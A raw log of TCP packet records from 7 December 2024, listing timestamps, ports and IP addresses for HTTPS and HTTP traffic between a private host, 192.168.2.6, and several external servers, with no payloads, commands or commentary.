Dec 7, 2024 00:15:47.393351078 CET	443	49828	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:47.393409967 CET	49828	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:47.393415928 CET	443	49828	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:47.393465042 CET	49828	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:47.402173042 CET	443	49828	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:47.402189970 CET	443	49828	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:47.402245998 CET	49828	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:47.402251005 CET	443	49828	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:47.402280092 CET	49828	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:47.412054062 CET	443	49828	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:47.412070036 CET	443	49828	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:47.412134886 CET	49828	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:47.412142038 CET	443	49828	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:47.412189007 CET	49828	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:47.421262980 CET	443	49828	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:47.421283007 CET	443	49828	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:47.421360970 CET	49828	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:47.421365976 CET	443	49828	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:47.421435118 CET	49828	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:47.431054115 CET	443	49828	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:47.431072950 CET	443	49828	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:47.431129932 CET	49828	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:47.431133986 CET	443	49828	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:47.431163073 CET	49828	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:47.440923929 CET	443	49828	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:47.440941095 CET	443	49828	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:47.440999031 CET	49828	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:47.441003084 CET	443	49828	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:47.441042900 CET	49828	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:47.442310095 CET	443	49832	2.16.158.83	192.168.2.6
Dec 7, 2024 00:15:47.442398071 CET	49832	443	192.168.2.6	2.16.158.83
Dec 7, 2024 00:15:47.442831039 CET	49832	443	192.168.2.6	2.16.158.83
Dec 7, 2024 00:15:47.442842007 CET	443	49832	2.16.158.83	192.168.2.6
Dec 7, 2024 00:15:47.443063974 CET	49832	443	192.168.2.6	2.16.158.83
Dec 7, 2024 00:15:47.443068981 CET	443	49832	2.16.158.83	192.168.2.6
Dec 7, 2024 00:15:47.461680889 CET	443	49833	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:47.461751938 CET	49833	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:47.462222099 CET	49833	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:47.462235928 CET	443	49833	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:47.463908911 CET	49833	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:47.463913918 CET	443	49833	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:47.470588923 CET	443	49834	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:47.470758915 CET	49834	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:47.471113920 CET	49834	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:47.471118927 CET	443	49834	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:47.472426891 CET	49834	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:47.472430944 CET	443	49834	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:47.491364956 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:47.517127037 CET	443	49830	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:47.517213106 CET	443	49830	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:47.517307043 CET	49830	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:47.517594099 CET	49830	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:47.517617941 CET	443	49830	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:47.517628908 CET	49830	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:47.517636061 CET	443	49830	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:47.520981073 CET	49839	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:47.521013021 CET	443	49839	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:47.521087885 CET	49839	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:47.521241903 CET	49839	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:47.521253109 CET	443	49839	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:47.564328909 CET	443	49828	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:47.564352989 CET	443	49828	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:47.564429045 CET	49828	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:47.564438105 CET	443	49828	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:47.564491987 CET	49828	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:47.564491987 CET	49828	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:47.571150064 CET	443	49828	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:47.571166039 CET	443	49828	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:47.571243048 CET	49828	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:47.571249008 CET	443	49828	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:47.571302891 CET	49828	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:47.578896046 CET	443	49828	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:47.578911066 CET	443	49828	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:47.578973055 CET	49828	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:47.578979015 CET	443	49828	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:47.579021931 CET	49828	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:47.586507082 CET	443	49828	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:47.586524010 CET	443	49828	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:47.586596966 CET	49828	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:47.586601973 CET	443	49828	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:47.586642981 CET	49828	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:47.593230009 CET	443	49828	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:47.593245983 CET	443	49828	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:47.593312979 CET	49828	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:47.593318939 CET	443	49828	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:47.593358994 CET	49828	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:47.601377964 CET	443	49828	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:47.601393938 CET	443	49828	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:47.601464033 CET	49828	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:47.601473093 CET	443	49828	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:47.601552963 CET	49828	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:47.608128071 CET	443	49828	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:47.608141899 CET	443	49828	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:47.608203888 CET	49828	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:47.608221054 CET	443	49828	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:47.608261108 CET	49828	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:47.615874052 CET	443	49828	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:47.615891933 CET	443	49828	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:47.615946054 CET	49828	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:47.615955114 CET	443	49828	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:47.615993023 CET	49828	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:47.756594896 CET	443	49828	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:47.756622076 CET	443	49828	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:47.756701946 CET	49828	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:47.756719112 CET	443	49828	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:47.756778955 CET	49828	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:47.763262987 CET	443	49828	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:47.763279915 CET	443	49828	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:47.763346910 CET	49828	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:47.763353109 CET	443	49828	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:47.763392925 CET	49828	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:47.770886898 CET	443	49828	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:47.770900965 CET	443	49828	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:47.770963907 CET	49828	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:47.770973921 CET	443	49828	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:47.771023989 CET	49828	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:47.778624058 CET	443	49828	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:47.778640032 CET	443	49828	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:47.778714895 CET	49828	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:47.778721094 CET	443	49828	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:47.778798103 CET	49828	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:47.785212994 CET	443	49828	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:47.785248995 CET	443	49828	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:47.785290956 CET	49828	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:47.785294056 CET	443	49828	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:47.785334110 CET	49828	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:47.785360098 CET	49828	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:47.786349058 CET	49828	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:47.786360025 CET	443	49828	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:47.809664965 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:47.809817076 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:47.809889078 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:47.809925079 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:47.810132027 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:47.810184002 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:47.810226917 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:47.811156034 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:47.811233997 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:47.811255932 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:47.811337948 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:47.812119007 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:47.812170029 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:47.812238932 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:47.812405109 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:47.813128948 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:47.813188076 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:47.813215971 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:47.813332081 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:47.814193010 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:47.814249039 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:47.814371109 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:47.814419031 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:47.815099001 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:47.815191984 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:47.815207958 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:47.815319061 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:47.816118956 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:47.816181898 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:47.816219091 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:47.816272974 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:47.817107916 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:47.817164898 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:47.817197084 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:47.817240953 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:47.818103075 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:47.818161011 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:47.818197012 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:47.818381071 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:47.819060087 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:47.819117069 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:47.819232941 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:47.819272995 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:47.820080996 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:47.820135117 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:47.820169926 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:47.820205927 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:47.821070910 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:47.821122885 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:47.821167946 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:47.821207047 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:47.822069883 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:47.822137117 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:47.822185993 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:47.822350979 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:47.823015928 CET	443	49831	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:47.823040009 CET	443	49831	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:47.823052883 CET	443	49831	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:47.823087931 CET	49831	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:47.823122025 CET	49831	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:47.823133945 CET	443	49831	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:47.823138952 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:47.823194027 CET	49831	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:47.823239088 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:47.823318958 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:47.823362112 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:47.824033022 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:47.824083090 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:47.824141979 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:47.824177980 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:47.825047970 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:47.825113058 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:47.825165987 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:47.825211048 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:47.826051950 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:47.826172113 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:47.826225996 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:47.827050924 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:47.827166080 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:47.827229977 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:47.828052998 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:47.828114986 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:47.828145027 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:47.828206062 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:47.829016924 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:47.829092026 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:47.829121113 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:47.829340935 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:47.830029011 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:47.830077887 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:47.830113888 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:47.830163956 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:47.831037998 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:47.831096888 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:47.831131935 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:47.831258059 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:47.832010031 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:47.832058907 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:47.832115889 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:47.832192898 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:47.832999945 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:47.833051920 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:47.833097935 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:47.833149910 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:47.834012032 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:47.834131956 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:47.834183931 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:47.834985018 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:47.835108995 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:47.835218906 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:47.835994005 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:47.836056948 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:47.836091042 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:47.836178064 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:47.836987019 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:47.837037086 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:47.837079048 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:47.837153912 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:47.837995052 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:47.838093996 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:47.838104963 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:47.838295937 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:47.838994026 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:47.839095116 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:47.839154005 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:47.839977026 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:47.840034962 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:47.840073109 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:47.840234995 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:47.840948105 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:47.841006041 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:47.841057062 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:47.841101885 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:47.841959000 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:47.842025995 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:47.842070103 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:47.842240095 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:47.842957973 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:47.843020916 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:47.843048096 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:47.843149900 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:47.843930006 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:47.843995094 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:47.844027042 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:47.844073057 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:47.844938993 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:47.845009089 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:47.845033884 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:47.845072985 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:47.845958948 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:47.846014023 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:47.846055031 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:47.846231937 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:47.846896887 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:47.846972942 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:47.847053051 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:47.847110033 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:47.847928047 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:47.848005056 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:47.848027945 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:47.848073959 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:47.848941088 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:47.849005938 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:47.849016905 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:47.849080086 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:47.849946022 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:47.850006104 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:47.850049019 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:47.850222111 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:47.850919008 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:47.850986004 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:47.851022005 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:47.851094007 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:47.851914883 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:47.851983070 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:47.852015018 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:47.852056026 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:47.852916002 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:47.852991104 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:47.853005886 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:47.853050947 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:47.853883982 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:47.853939056 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:47.854059935 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:47.854156971 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:47.854892969 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:47.854960918 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:47.854979992 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:47.855101109 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:47.855882883 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:47.855951071 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:47.855987072 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:47.856031895 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:47.856894970 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:47.856947899 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:47.856982946 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:47.857032061 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:47.857870102 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:47.857923985 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:47.857970953 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:47.858144999 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:47.858855009 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:47.858915091 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:47.858968973 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:47.859066963 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:47.859859943 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:47.859925985 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:47.860003948 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:47.860044956 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:47.860857964 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:47.860929966 CET	49823	80	192.168.2.6	185.215.113.206
